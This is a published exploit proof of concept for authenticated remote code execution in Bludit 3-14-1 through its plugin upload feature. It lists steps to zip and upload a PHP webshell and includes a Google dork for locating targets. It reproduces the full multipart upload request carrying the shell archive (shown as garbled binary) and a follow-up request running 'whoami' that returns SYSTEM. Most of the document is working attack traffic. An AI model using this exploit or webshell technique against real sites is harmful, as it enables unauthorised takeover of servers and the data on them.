# Exploit Title: Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated) # Exploit Author: Alperen Ergel # Contact: @alpernae (IG/TW) # Software Homepage: https://www.bludit.com/ # Version : 3-14-1 # Tested on: windows 11 wampserver | Kali linux # Category: WebApp # Google Dork: intext:'2022 Powered by Bludit' # Date: 8.12.2022 ######## Description ######## # # Step 1 : Archive as a zip your webshell (example: payload.zip) # Step 2 : Login admin account and download 'UploadPlugin' # Step 3 : Go to UploadPlugin section # Step 4 : Upload your zip # Step 5 : target/bl-plugins/[your_payload] # ######## Proof of Concept ######## ==============> START REQUEST <======================================== POST /admin/plugin/uploadplugin HTTP/2 Host: localhost Cookie: BLUDIT-KEY=ri91q86hhp7mia1o8lrth63kc4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------308003478615795926433430552264 Content-Length: 1820 Origin: https://036e-88-235-222-210.eu.ngrok.io Dnt: 1 Referer: https://036e-88-235-222-210.eu.ngrok.io/admin/plugin/uploadplugin Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="tokenCSRF" b6487f985b68f2ac2c2d79b4428dda44696d6231 -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="pluginorthemes" plugins -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="zip_file"; filename="a.zip" Content-Type: application/zip PK 聠e聢U a/PK 聰f聢U脝 陋)垄 脛 a/a.php铆V脹聨脫0}莽+La B脹矛V脺聳p聛X庐脣J @V锚潞颅!碌聝铆脪r没wl7脡$mQy脿聭<$漏莽脤脤93茫赂脠]聝脣路茂聳贸脪=/. p脻茫Z+M5/聲露B脦脠0>漏M聠[j脜聜脫B,聞玫tO脤陇脪聹. 脳4;聮聠e)篓聝录脠脳聰炉9[Z隆d冒脝 聞聦&脗d<贸`梅+聹N聴聮y录脕 RL脡E戮(铆7芒}芒酶聡_聡楼忙3O潞脠'x冒>A炉p聜p芒n脕茫陇毛脌脳e隆&聹眉聬k聺拢聥录$脴j卤脴F媒芒聟谩@\@陋gxD垄脤'聺谩么忙Q?陆v拢聼枚G7帽霉Zg茅帽帽玫聯 j卤u \玫聞卤聠脿/茂戮脦脼聻麓脳T聶H脛Zu聶j聹聛Hk陋聣脠拢没搂g脩脜,C脝锚R芒Vj脜5y霉酶%}q禄煤颅聞脛(聨QK*脣"脰茂隆拢;聴脪虏路颅6z虏Z聼gX脢貌垄冒铆脛'聧茅没霉+帽脤% 碌j,脨盲脿N掳霉f,_脿8聴聯聥聲[鲁聵lO聙ScsmI芦聡卢芦H禄炉*Sc?i聰)i鹿麓&x@.'聰<聴陇脹莽]zs^a庐路)聜hBz0;f r矛聣镁脟赂0y脮U楼H"脮脮每I I脴\聯t{c贸~聙J漏拢陋盲虏脣 脰梅聬職;d脕鲁芒脵lh聠禄s%脟 脰8N潞+芦}+聨颅每a潞r聻聼聼聻脗脗j. 卯vWS虏A驴O?nH聛O?聸j聻O 聬陇脙拢Q+矛炉忙铆^ 脧 e8漏么*脭戮"媒隆@脫2+毛脗`聧梅 kC57j漏'脦"m 茫庐ho鹿 x聼么 脹;聮聹c莽z脵Q 脣路[k么驴脻炉聺-2矛~篓聯忙v漏楼C聙卯聭T镁#k2,U脴S聨娄聙颅聛O脕S拢脴g聵聜煤K 聠聺Q聢脺 脴I脧虏貌脰`脨:%F陆$A"t;buOMr4脻猫~聳e茫脦聶氓脴X铆脟m聵脟(s 6A赂3,l>潞聟<N庐娄q{s __~t脗聧6谩戮,聟脜猫莽O麓脟脝脳脦拢v虏卤茫每b脙聭脷聮聭Ug[;pq聸e脫脺脜脴每茅J 脣}聺锚v聜3冒8麓# 聤O碌s脠O芦媒b聝h卤茂掳聼d聴脣聟鹿每聢>y镁冒Mr枚芒脕Sz枚忙玫脙没脧脺没)}贸脿e潞qQRrf}锚锚_D 脴0矛u聮玫v'搂枚酶?@聡 锚没O忙h'聵O聹8f聴聛D录5[脿虏=b~PK? 聠e聢U $ 聙铆A a/ 镁職庐, 脵 镁職庐, 脵聙酶篓j. 脵PK? 聰f聢U脝 陋)垄 脛 $ 聙陇聛 a/a.php 陇e脻- 脵 梅聺C- 脵 bj. 脵PK 颅 莽 -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="submit" Upload -----------------------------308003478615795926433430552264-- ==============> END REQUEST <======================================== ## WEB SHELL UPLOADED! ==============> START RESPONSE <======================================== HTTP/2 200 OK Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 Date: Thu, 08 Dec 2022 18:01:43 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Ngrok-Trace-Id: f3a92cc45b7ab0ae86e98157bb026ab4 Pragma: no-cache Server: Apache/2.4.51 (Win64) PHP/7.4.26 X-Powered-By: Bludit . . . . ==============> END RESPONSE <======================================== # REQUEST THE WEB SHELL ==============> START REQUEST <======================================== GET /bl-plugins/a/a.php?cmd=whoami HTTP/2 Host: localhost Cookie: BLUDIT-KEY=ri91q86hhp7mia1o8lrth63kc4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Dnt: 1 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers ==============> END REQUEST <======================================== ==============> START RESPONSE <======================================== HTTP/2 200 OK Content-Type: text/html; charset=UTF-8 Date: Thu, 08 Dec 2022 18:13:14 GMT Ngrok-Trace-Id: 30639fc66dcf46ebe29cc45cf1bf3919 Server: Apache/2.4.51 (Win64) PHP/7.4.26 X-Powered-By: PHP/7.4.26 Content-Length: 32 <pre>nt authority\system </pre> ==============> END RESPONSE <========================================